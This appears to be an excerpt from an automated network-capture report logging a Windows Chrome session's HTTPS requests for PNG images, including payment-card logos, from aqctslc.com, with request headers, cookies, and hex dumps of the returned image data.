79	192.168.2.6	49877	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:41 UTC	750	OUT	GET /themes/static/image/bing-wan-ying.png HTTP/1.1 Host: aqctslc.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
2025-01-09 23:51:42 UTC	231	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:42 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:42 UTC	16153	IN	Data Raw: 39 33 62 62 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 00 00 00 02 00 08 06 00 00 00 f4 78 d4 fa 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 77 77 77 2e 69 6e 6b 73 63 61 70 65 2e 6f 72 67 9b ee 3c 1a 00 00 20 00 49 44 41 54 78 9c ec dd 77 98 14 55 d6 c0 e1 5f e7 30 39 27 86 89 cc 30 84 21 e7 9c 44 92 04 41 74 55 c4 8c 39 c7 35 ad ee ba eb ea ae d9 d5 cf b4 ea 9a 73 04 15 03 22 a2 e4 9c 73 66 60 18 60 72 ec ef 8f c2 5d 44 42 4f 55 75 57 87 f3 3e 4f 3f 28 4c 9d 3a 34 33 5d a7 6e dd 7b ae 09 21 c4 af d2 80 0e 40 36 d0 02 68 09 64 02 a9 80 1d 88 06 2c 40 1c 50 0f 54 00 e5 40 cd 91 5f 0f 01 9b 8e 79 6d 04 0e f8 f1 ef 10 aa Data Ascii: 93bbPNGIHDRxsBIT\|dpHYs+tEXtSoftwarewww.inkscape.org< IDATxwU_09'0!DAtU95s"sf``r]DBOUuW>O?(L:43]n{!@6hd,@PT@_ym
2025-01-09 23:51:42 UTC	16384	IN	Data Raw: 99 b8 fb aa 4b 35 c5 58 b7 ad 8c af 7e de aa 53 46 27 d6 ad 4d 0a ed f2 34 6d 6d 3c 0c d0 d4 5a 30 dc 48 01 a0 5e 3c 30 58 ed c1 bd 8a 52 68 a5 ad 0d a6 57 5e fd 7a 1d 07 ca d5 cf e4 b5 5a 2c dc 7e c1 39 3a 66 e4 05 8b 15 ac b2 aa 47 08 3d 8c 1a d4 97 0e 45 da 6e 36 1e 7d 63 91 4e d9 9c dc 94 d1 9a 46 01 1c c0 19 3a a5 12 16 a4 00 50 6f 2c 60 53 7b f0 39 83 f2 75 4c e5 c4 9e f9 54 db f3 bb 49 43 06 90 93 9e aa 53 36 5e 72 6a ea 0c 26 84 38 8a c9 64 e2 f6 cb 2f d4 14 e3 9b 79 5b 59 b3 e5 80 4e 19 9d d8 59 c3 0a 30 6b 7b 2c 2a 8f 01 9a 41 0a 00 f5 26 a9 3d d0 62 36 31 a9 7f ae 9e b9 1c d7 2f 6b 4a 58 a1 f1 87 f6 96 f3 55 b7 38 50 c7 04 d8 a4 00 10 42 4f 93 46 0c a3 55 b6 fa 6e a3 1e 0f 3c ff a1 ef 37 09 ca 4c 89 a2 77 b1 a6 c7 8d c3 91 c7 00 5e 93 02 40 9d Data Ascii: K5X~SF'M4mm<Z0H^<0XRhW^zZ,~9:fG=En6}cNF:Po,`S{9uLTICS6^rj&8d/y[YNY0k{,*A&=b61/kJXU8PBOFUn<7Lw^@
2025-01-09 23:51:42 UTC	5295	IN	Data Raw: 00 62 4f 46 01 b7 ab e8 28 3d 3d 83 37 5e ff 2f 19 19 59 2a ba 0b 5b 71 71 f1 8c 1a 39 96 51 23 c7 ee f4 e7 5b b7 16 b3 6a d5 0a 36 6e 5c 4f c1 c6 f5 ac 5c b9 8c 55 ab 56 b0 79 73 01 9e 10 3b c0 28 25 25 95 fc fc 6e e4 e7 75 21 2f bf 2b bd 7a f6 a5 77 ef be 74 ef de 8b 84 84 44 ab c3 b3 9d ff dc f3 18 e5 65 a5 7c f4 f1 7b 2a ba 3b 00 ef a9 9d d7 aa e8 4c d8 9f 24 00 62 77 d2 81 ff c3 bb ef df 94 d8 d8 38 5e 7d f5 03 ba 77 ef 65 3e aa 08 d5 be 7d ce f6 f2 c8 3b 4f e3 36 35 35 52 5c 5c 48 69 59 09 e5 65 65 6c db b6 c5 fb df e5 a5 6c dd 5a 4c 79 59 19 a5 65 25 34 36 36 d0 d0 50 8f c7 e3 a1 a6 c6 f7 23 7b e3 e2 e2 71 b9 5c c4 c4 38 89 8f 4f 20 23 23 93 cc cc 2c 32 33 b2 68 d7 ae 03 99 59 d9 7f fd 77 66 16 d9 d9 ed 49 4f cf 50 fc af 8f 6c 0e 87 83 27 9f 9c c5 Data Ascii: bOF(==7^/Y[qq9Q#[j6n\O\UVys;(%%nu!/+zwtDe\|{;L$bw8^}we>};O655R\\HiYeellZLyYe%466P#{q\8O ##,23hYwfIOPl'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	49875	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:41 UTC	745	OUT	GET /themes/static/image/ji-ji-bo.png HTTP/1.1 Host: aqctslc.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
2025-01-09 23:51:42 UTC	231	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:42 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:42 UTC	16153	IN	Data Raw: 63 37 62 64 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 00 00 00 02 00 08 06 00 00 00 f4 78 d4 fa 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 77 77 77 2e 69 6e 6b 73 63 61 70 65 2e 6f 72 67 9b ee 3c 1a 00 00 20 00 49 44 41 54 78 9c ec dd 77 78 54 d5 d6 c0 e1 df cc a4 f7 de 80 00 a1 05 12 7a 87 d0 43 6f 52 05 04 c4 02 22 8a a2 82 82 28 a8 80 8a 82 48 17 10 91 22 4d 40 a5 77 90 de 3b 24 a1 87 4e 48 42 42 80 f4 cc f7 c7 c8 77 bd 57 84 e4 9c 3d 35 fb 7d 9e 3c 70 b9 9c 75 56 70 72 66 cd 2e 6b 6b 90 24 c9 9a 38 03 7e 80 3f 10 f0 d7 ef 7d ff fa 35 e0 af 3f 77 07 5c 01 07 c0 fb af 5f 5d ff 16 e3 c9 ff f7 c4 23 20 eb af df df ff Data Ascii: c7bdPNGIHDRxsBIT\|dpHYs+tEXtSoftwarewww.inkscape.org< IDATxwxTzCoR"(H"M@w;$NHBBwW=5}<puVprf.kk$8~?}5?w\_]#
2025-01-09 23:51:42 UTC	16384	IN	Data Raw: 01 70 f7 ee 6d 26 4c 18 23 20 23 71 d4 1c 0b ac e6 d9 25 4a db 7a f5 b0 d3 a9 3a 08 ac b5 a8 5c 2c 91 2d 17 00 ce 80 e2 93 3c 1a 54 ae 84 9b 05 34 94 51 b3 43 28 cf 02 7e 00 9f b8 7c 39 46 48 c3 9f 4e 51 11 bc da ba c6 d3 ff 4f 0d 72 04 40 32 8b 81 dd 9b d1 b1 49 75 d5 71 e6 fc 38 8d d8 d8 b3 02 32 12 43 cd 16 45 4b d8 de e8 eb e9 41 dd 48 e5 0d 8d 30 14 00 36 fb 3e 69 b3 df 18 d0 00 43 11 a0 48 eb ba e6 5d fc f7 84 93 83 f2 37 b4 cc cc 74 81 99 a8 f3 ed b7 ef 93 93 93 ad 2a 46 11 3f 0f e6 7c f0 8c 4d 1d 5a 1d 2a fa 3d 49 92 2a 73 3e 7f 9d 60 7f 75 5b 86 73 72 72 f8 ec f3 8f 04 65 a4 9e 9a 33 0b 9c 1c d5 4f 8b 88 d0 3e 4a d5 69 a8 fe 40 55 41 a9 58 1c 5b 2e 00 14 9f eb ac d5 68 68 56 e3 5f 3e 65 9a 98 b3 a3 f2 45 88 19 19 96 51 00 ec da b5 8e 7d fb 36 ab Data Ascii: pm&L# #q%Jz:\,-<T4QC(~\|9FHNQOr@2Iuq82CEKAH06>iCH]7tF?\|MZ=I*s>`u[srre3O>Ji@UAX[.hhV_>eEQ}6
2025-01-09 23:51:42 UTC	16384	IN	Data Raw: e1 b3 b0 69 df 79 a6 5d fe 4f 91 cb 6d b0 79 d3 9f 66 db f0 f7 2c 0b 16 7c 4d b5 f9 cf c5 d1 11 03 3b 75 64 18 d1 ab 59 b5 7b 2f ed e7 9a 05 80 df f2 ad 09 22 26 00 80 06 94 e7 40 d7 ef 3f c0 e5 7b 6c 3b 8a 5f 86 9d 8d 0d 46 f5 ea 49 e5 e3 d4 a9 dd 88 8c 34 ff ea 57 97 2e fd b1 76 ed 31 38 3b 73 a3 b6 f6 38 bf 14 23 e6 ed c2 c8 f9 7f 20 2b 9f 42 48 49 ab a9 9a 0c 10 e1 94 8c 9c 02 bc fe d9 4a 0c 99 f6 13 32 72 b8 f9 79 bb b9 b9 63 df de 93 18 30 60 28 27 fe f9 e4 fa f5 4b 38 7c 84 ae 91 6e 5c 9f d7 60 67 c3 66 8d b7 21 24 a4 67 e0 c4 b5 eb b4 6e 7e 01 50 ed cb 72 62 02 50 c5 46 00 54 22 f1 4b 7f e7 b7 0a f0 f6 80 7e 90 51 8c c4 e9 f5 7a 2c 58 30 15 5a 2d bf 5a 06 5c d0 ba 75 77 fc fe fb 75 f8 fb 73 27 41 ba 27 3c 1a 0d 26 2c c7 dc ed e7 50 a9 22 fc 99 29 Data Ascii: iy]Omyf,\|M;udY{/"&@?{l;_FI4W.v18;s8# +BHIJ2ryc0`('K8\|n\`gf!$gn~PrbPFT"K~Qz,X0Z-Z\uwus'A'<&,P")
2025-01-09 23:51:42 UTC	2225	IN	Data Raw: f3 9d ee 75 0d 0b 16 8b 05 1f f8 c7 df ad 16 6c 36 3b 9a bd 75 87 df c8 6a 89 f0 37 b2 b8 48 4f 01 00 fe c3 cb a4 00 30 29 29 00 cc 2d e0 02 c0 66 b5 ea 3d d8 43 84 29 cd 62 c5 6a f9 ee c3 f7 87 1e c5 8e 98 70 3e 1a 5a 04 db 90 ee dd b0 5b ad 34 79 02 9e cc 3a 16 78 50 5d 46 42 25 99 03 60 5e a9 40 c0 33 f8 ce ea 94 4f 5c b4 4c 3e 13 42 04 ce 1d e5 a2 5f a7 7c 3d 21 4a d0 31 8c 29 82 4b 0a 00 f3 3a 17 1d bf 1f e9 fe 17 42 a8 a0 f3 5e 62 01 46 2b 4a 45 28 26 05 80 79 05 dc fd 6f d1 34 86 f5 e8 ae 32 97 a0 ab 3c 56 c3 b6 f2 03 54 54 55 7f 77 bc 5a 88 08 e0 f5 f9 a8 a8 aa 66 5b f9 01 2a 8f d5 18 9d 4e ab 0c ef 51 88 45 df 52 16 5d 73 99 44 f0 c8 1c 00 73 b2 02 e7 04 7a 71 8f ec 2c 52 e3 e2 14 a6 13 1c 35 0d 0d bc 31 7b 1e 9f 2c 5b c1 9e 43 87 bf fd fb c9 b1 Data Ascii: ul6;uj7HO0))-f=C)bjp>Z[4y:xP]FB%`^@3O\L>B_\|=!J1)K:B^bF+JE(&yo42<VTTUwZf[*NQER]sDszq,R51{,[C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	49876	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:41 UTC	975	OUT	GET /themes/static/image/skrill.png HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
2025-01-09 23:51:42 UTC	231	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:42 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:42 UTC	1490	IN	Data Raw: 35 63 36 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 1f 08 06 00 00 00 a5 0d 9e 59 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 05 7d 49 44 41 54 58 47 ed 98 7b 4c 53 77 14 c7 bf 7d 80 a5 2d e5 b1 d2 32 84 82 ac 3c e4 51 21 88 ce 09 ba a9 61 2c 32 85 a9 63 0c f7 70 ce 81 31 33 b2 65 68 b2 ec e1 66 b6 3f b6 a8 d9 c4 e1 36 c9 a2 19 ca 20 d3 4d b3 e2 83 a8 a3 83 20 10 86 d5 59 d6 16 8a 58 ac b5 d0 5a aa 7d da 2e bf 9f 62 32 b3 68 dd f0 81 f3 26 37 37 fd dd f3 fb fe ce e7 9c f3 3b b7 f7 32 7c 3e 9f c0 ed 76 2f f1 7a bd a9 00 18 18 5f 87 8f c9 64 f6 38 1c 8e 06 86 dd 6e 7f 9d c1 60 6c 03 c0 1c 5f 0c d7 bd f5 7a bd de b7 18 0e 87 63 23 80 8a 71 0a 31 ea f6 57 04 64 13 80 35 e3 1c a4 fa 21 c8 7d 96 c1 ff 79 46 7c 3e 1f e0 Data Ascii: 5c6PNGIHDR2YsBIT\|d}IDATXG{LSw}-2<Q!a,2cp13ehf?6 M YXZ}.b2h&77;2\|>v/z_d8n`l_zc#q1Wd5!}yF\|>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	49874	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:41 UTC	973	OUT	GET /themes/static/image/visa.png HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
2025-01-09 23:51:42 UTC	231	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:42 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:42 UTC	1236	IN	Data Raw: 34 63 38 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 1f 08 06 00 00 00 a5 0d 9e 59 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 04 7f 49 44 41 54 58 47 ed 98 7d 4c 55 75 18 c7 3f e7 1e ef 1b f7 82 0a 28 92 40 20 89 22 0a 9a 0a 6a b4 ca 74 f9 32 4c 2d 2b 35 0d 2b cd b7 4d 89 a1 ad 59 ad d0 72 58 d9 9c 2f b8 32 35 27 3a 5f 9a d3 35 5d a5 19 38 5e 26 51 80 a6 f8 06 02 a6 42 e4 f5 72 e1 de cb bd f7 9c 76 7e 5b ae 3f fa e3 e6 82 49 bb e7 af df f9 ed 77 7e cf f3 79 be cf f3 9c 73 7e 92 aa aa 21 1e 8f 67 96 a2 28 49 80 44 f7 ba 54 9d 4e 57 e3 72 b9 0e 49 4e a7 f3 75 49 92 b6 03 ba ee c5 70 cf 5b 45 51 94 37 25 97 cb f5 29 90 d5 4d 21 fe 72 7b 9b 06 b2 11 58 d9 cd 41 f2 03 20 0f 98 82 01 45 1e 30 41 08 28 12 50 44 55 a1 ad Data Ascii: 4c8PNGIHDR2YsBIT\|dIDATXG}LUu?(@ "jt2L-+5+MYrX/25':_5]8^&QBrv~[?Iw~ys~!g(IDTNWrINuIp[EQ7%)M!r{XA E0A(PDU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	49878	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:41 UTC	980	OUT	GET /themes/static/image/master-card.png HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
2025-01-09 23:51:42 UTC	231	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:42 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:42 UTC	1390	IN	Data Raw: 35 36 32 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 1f 08 06 00 00 00 a5 0d 9e 59 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 05 19 49 44 41 54 58 47 ed 98 59 6c 54 55 18 80 bf 73 ef dc 3b 6d a1 cb 74 a1 2b 2d 6d 11 5b 36 29 01 a4 45 23 4a 50 aa 60 c4 48 4a d0 a8 01 22 24 3e a0 24 6a 5c 9e dc 89 06 8c 06 97 17 83 09 20 0f 18 d0 68 20 a2 68 31 5a 53 52 16 41 28 4d c3 56 5b ba d0 2a dd 66 a6 77 39 e6 de 01 62 03 32 77 64 4c ac e1 7f 3e e7 3f ff 77 fe f5 1c 21 a5 4c 31 0c 63 89 6d db 93 00 c1 c8 12 a9 28 ca 89 50 28 b4 5d 04 83 c1 95 42 88 8f 00 65 64 31 5c b6 d6 b6 6d 7b ad 08 85 42 eb 81 a7 47 28 c4 25 b3 3f 70 40 36 00 4f 8d 70 90 0f 6f 80 fc c7 3c 18 1f 8f c8 60 10 fb 5c 27 58 36 62 4c 06 4a 6a ca b5 39 8d 3e 08 Data Ascii: 562PNGIHDR2YsBIT\|dIDATXGYlTUs;mt+-m[6)E#JP`HJ"$>$j\ h h1ZSRA(MV[*fw9b2wdL>?w!L1cm(P(]Bed1\m{BG(%?p@6Opo<`\'X6bLJj9>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	49879	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:41 UTC	752	OUT	GET /themes/static/image/qian-xiang-shan.png HTTP/1.1 Host: aqctslc.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
2025-01-09 23:51:42 UTC	231	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:42 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:42 UTC	16153	IN	Data Raw: 36 66 38 63 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 00 00 00 02 00 08 06 00 00 00 f4 78 d4 fa 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 77 77 77 2e 69 6e 6b 73 63 61 70 65 2e 6f 72 67 9b ee 3c 1a 00 00 20 00 49 44 41 54 78 9c ec dd 77 74 1c d5 d9 06 f0 67 fb 4a 5a f5 6a 15 4b b6 2c c9 bd 1b dc 8d 6d 8a c1 a6 63 08 a6 06 12 6a 80 14 52 f8 d2 21 a4 92 84 50 42 28 a1 87 0e a6 99 80 81 04 4c b5 0d 98 62 8c 7b 2f 92 d5 eb f6 dd ef 8f c1 8e 8b 24 4b 73 ef cc dc 95 9e df 39 7b 72 82 77 ee bc da d9 9d fb ce ad 36 90 55 92 00 4c 06 30 1c c0 50 00 55 00 8a 01 a4 00 48 05 90 01 c0 0f a0 ed eb d7 5e 00 9b 01 ac 05 b0 0e c0 72 Data Ascii: 6f8cPNGIHDRxsBIT\|dpHYs+tEXtSoftwarewww.inkscape.org< IDATxwtgJZjK,mcjR!PB(Lb{/$Ks9{rw6UL0PUH^r
2025-01-09 23:51:42 UTC	12416	IN	Data Raw: 7f 22 22 4a 34 4c 00 24 e0 00 40 22 22 4a 34 4c 00 24 e0 22 40 44 44 94 68 58 75 49 c0 2e 00 22 22 4a 34 4c 00 24 60 02 40 44 44 89 86 09 80 04 4c 00 88 88 28 d1 30 01 90 80 09 00 11 11 25 1a 26 00 12 70 16 00 11 11 25 1a 26 00 12 b0 05 80 88 88 12 0d 13 00 09 98 00 10 11 51 a2 61 02 20 01 d7 01 20 22 a2 44 c3 aa 4b 02 8e 01 20 22 a2 44 c3 04 40 82 b8 d5 01 10 11 11 f5 12 13 00 09 d8 00 40 44 44 89 86 09 80 04 1c 04 48 44 44 89 86 09 80 04 ec 02 20 22 a2 44 c3 04 40 02 b6 00 10 11 51 a2 61 02 20 01 eb 7f 22 22 4a 34 4c 00 88 88 88 fa 21 26 00 32 b0 09 80 88 88 12 0c 13 00 09 58 ff 13 11 51 a2 61 02 40 44 44 d4 0f 31 01 90 80 b3 00 88 88 28 d1 38 ad 0e 80 88 c4 c5 62 31 ec d8 b1 15 d5 35 7b 10 f0 07 0c 39 87 37 c9 8b 82 fc 01 28 29 29 83 dd ce 67 07 a2 44 Data Ascii: ""J4L$@""J4L$"@DDhXuI.""J4L$`@DDL(0%&p%&Qa "DK "D@@DDHDD "D@Qa ""J4L!&2XQa@DD1(8b15{97())gD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	49882	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:42 UTC	740	OUT	GET /themes/static/image/cta.png HTTP/1.1 Host: aqctslc.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
2025-01-09 23:51:42 UTC	231	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:42 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:42 UTC	16153	IN	Data Raw: 38 36 38 32 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 7c 00 00 01 df 08 03 00 00 00 3c dd 2a 79 00 00 03 00 50 4c 54 45 00 00 00 02 02 02 00 00 00 02 02 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 02 02 00 00 00 00 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 02 03 00 00 00 01 01 02 01 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fb fb fb 00 01 01 00 01 01 00 00 00 00 00 00 00 00 00 4d e9 f2 ab 6b dc 00 00 00 01 01 02 51 ed f8 00 00 01 4f eb f4 51 ed f7 00 00 00 04 07 09 50 ed f7 95 5f bf 00 00 00 c5 c3 e6 01 01 02 ad 6e dd ad 6d dd 50 ed f5 ac 6d dc ab 6d db 51 ed f7 4e Data Ascii: 8682PNGIHDR\|<*yPLTEMkQOQP_nmPmmQN
